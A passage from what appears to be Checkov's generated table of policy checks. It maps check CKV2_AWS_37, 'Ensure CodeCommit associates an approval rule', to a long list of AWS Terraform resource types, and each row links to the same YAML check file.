[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  600 | CKV2_AWS_37     | resource | aws_account_alternate_contact                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  601 | CKV2_AWS_37     | resource | aws_account_primary_contact                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  602 | CKV2_AWS_37     | resource | aws_account_region                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  603 | CKV2_AWS_37     | resource | aws_acm_certificate                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  604 | CKV2_AWS_37     | resource | aws_acm_certificate_validation                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  605 | CKV2_AWS_37     | resource | aws_acmpca_certificate                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  606 | CKV2_AWS_37     | resource | aws_acmpca_certificate_authority                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  607 | CKV2_AWS_37     | resource | aws_acmpca_certificate_authority_certificate                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  608 | CKV2_AWS_37     | resource | aws_acmpca_permission                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  609 | CKV2_AWS_37     | resource | aws_acmpca_policy                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  610 | CKV2_AWS_37     | resource | aws_alb                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  611 | CKV2_AWS_37     | resource | aws_alb_listener                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  612 | CKV2_AWS_37     | resource | aws_alb_listener_certificate                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  613 | CKV2_AWS_37     | resource | aws_alb_listener_rule                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  614 | CKV2_AWS_37     | resource | aws_alb_target_group                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  615 | CKV2_AWS_37     | resource | aws_alb_target_group_attachment                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  616 | CKV2_AWS_37     | resource | aws_ami                                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  617 | CKV2_AWS_37     | resource | aws_ami_copy                                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  618 | CKV2_AWS_37     | resource | aws_ami_from_instance                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  619 | CKV2_AWS_37     | resource | aws_ami_launch_permission                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  620 | CKV2_AWS_37     | resource | aws_amplify_app                                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  621 | CKV2_AWS_37     | resource | aws_amplify_backend_environment                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  622 | CKV2_AWS_37     | resource | aws_amplify_branch                                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  623 | CKV2_AWS_37     | resource | aws_amplify_domain_association                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  624 | CKV2_AWS_37     | resource | aws_amplify_webhook                                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  625 | CKV2_AWS_37     | resource | aws_api_gateway_account                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  626 | CKV2_AWS_37     | resource | aws_api_gateway_api_key                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  627 | CKV2_AWS_37     | resource | aws_api_gateway_authorizer                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  628 | CKV2_AWS_37     | resource | aws_api_gateway_base_path_mapping                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  629 | CKV2_AWS_37     | resource | aws_api_gateway_client_certificate                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  630 | CKV2_AWS_37     | resource | aws_api_gateway_deployment                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  631 | CKV2_AWS_37     | resource | aws_api_gateway_documentation_part                               | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  632 | CKV2_AWS_37     | resource | aws_api_gateway_documentation_version                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  633 | CKV2_AWS_37     | resource | aws_api_gateway_domain_name                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  634 | CKV2_AWS_37     | resource | aws_api_gateway_domain_name_access_association                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  635 | CKV2_AWS_37     | resource | aws_api_gateway_gateway_response                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  636 | CKV2_AWS_37     | resource | aws_api_gateway_integration                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  637 | CKV2_AWS_37     | resource | aws_api_gateway_integration_response                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  638 | CKV2_AWS_37     | resource | aws_api_gateway_method                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  639 | CKV2_AWS_37     | resource | aws_api_gateway_method_response                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  640 | CKV2_AWS_37     | resource | aws_api_gateway_method_settings                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  641 | CKV2_AWS_37     | resource | aws_api_gateway_model                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  642 | CKV2_AWS_37     | resource | aws_api_gateway_request_validator                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  643 | CKV2_AWS_37     | resource | aws_api_gateway_resource                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  644 | CKV2_AWS_37     | resource | aws_api_gateway_rest_api                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  645 | CKV2_AWS_37     | resource | aws_api_gateway_rest_api_policy                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  646 | CKV2_AWS_37     | resource | aws_api_gateway_stage                                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  647 | CKV2_AWS_37     | resource | aws_api_gateway_usage_plan                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  648 | CKV2_AWS_37     | resource | aws_api_gateway_usage_plan_key                                   | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  649 | CKV2_AWS_37     | resource | aws_api_gateway_vpc_link                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  650 | CKV2_AWS_37     | resource | aws_apigatewayv2_api                                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  651 | CKV2_AWS_37     | resource | aws_apigatewayv2_api_mapping                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  652 | CKV2_AWS_37     | resource | aws_apigatewayv2_authorizer                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  653 | CKV2_AWS_37     | resource | aws_apigatewayv2_deployment                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  654 | CKV2_AWS_37     | resource | aws_apigatewayv2_domain_name                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  655 | CKV2_AWS_37     | resource | aws_apigatewayv2_integration                                     | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  656 | CKV2_AWS_37     | resource | aws_apigatewayv2_integration_response                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  657 | CKV2_AWS_37     | resource | aws_apigatewayv2_model                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  658 | CKV2_AWS_37     | resource | aws_apigatewayv2_route                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  659 | CKV2_AWS_37     | resource | aws_apigatewayv2_route_response                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  660 | CKV2_AWS_37     | resource | aws_apigatewayv2_stage                                           | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  661 | CKV2_AWS_37     | resource | aws_apigatewayv2_vpc_link                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  662 | CKV2_AWS_37     | resource | aws_app_cookie_stickiness_policy                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  663 | CKV2_AWS_37     | resource | aws_appautoscaling_policy                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  664 | CKV2_AWS_37     | resource | aws_appautoscaling_scheduled_action                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  665 | CKV2_AWS_37     | resource | aws_appautoscaling_target                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  666 | CKV2_AWS_37     | resource | aws_appconfig_application                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  667 | CKV2_AWS_37     | resource | aws_appconfig_configuration_profile                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  668 | CKV2_AWS_37     | resource | aws_appconfig_deployment                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  669 | CKV2_AWS_37     | resource | aws_appconfig_deployment_strategy                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  670 | CKV2_AWS_37     | resource | aws_appconfig_environment                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  671 | CKV2_AWS_37     | resource | aws_appconfig_extension                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  672 | CKV2_AWS_37     | resource | aws_appconfig_extension_association                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  673 | CKV2_AWS_37     | resource | aws_appconfig_hosted_configuration_version                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  674 | CKV2_AWS_37     | resource | aws_appfabric_app_authorization                                  | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  675 | CKV2_AWS_37     | resource | aws_appfabric_app_authorization_connection                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  676 | CKV2_AWS_37     | resource | aws_appfabric_app_bundle                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  677 | CKV2_AWS_37     | resource | aws_appfabric_ingestion                                          | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  678 | CKV2_AWS_37     | resource | aws_appfabric_ingestion_destination                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  679 | CKV2_AWS_37     | resource | aws_appflow_connector_profile                                    | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  680 | CKV2_AWS_37     | resource | aws_appflow_flow                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  681 | CKV2_AWS_37     | resource | aws_appintegrations_data_integration                             | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  682 | CKV2_AWS_37     | resource | aws_appintegrations_event_integration                            | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  683 | CKV2_AWS_37     | resource | aws_applicationinsights_application                              | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  684 | CKV2_AWS_37     | resource | aws_appmesh_gateway_route                                        | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  685 | CKV2_AWS_37     | resource | aws_appmesh_mesh                                                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  686 | CKV2_AWS_37     | resource | aws_appmesh_route                                                | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  687 | CKV2_AWS_37     | resource | aws_appmesh_virtual_gateway                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  688 | CKV2_AWS_37     | resource | aws_appmesh_virtual_node                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  689 | CKV2_AWS_37     | resource | aws_appmesh_virtual_router                                       | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  690 | CKV2_AWS_37     | resource | aws_appmesh_virtual_service                                      | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  691 | CKV2_AWS_37     | resource | aws_apprunner_auto_scaling_configuration_version                 | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  692 | CKV2_AWS_37     | resource | aws_apprunner_connection                                         | Ensure CodeCommit associates an approval rule                                                                                                                                                            | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml)                                                         |\n|  693 | 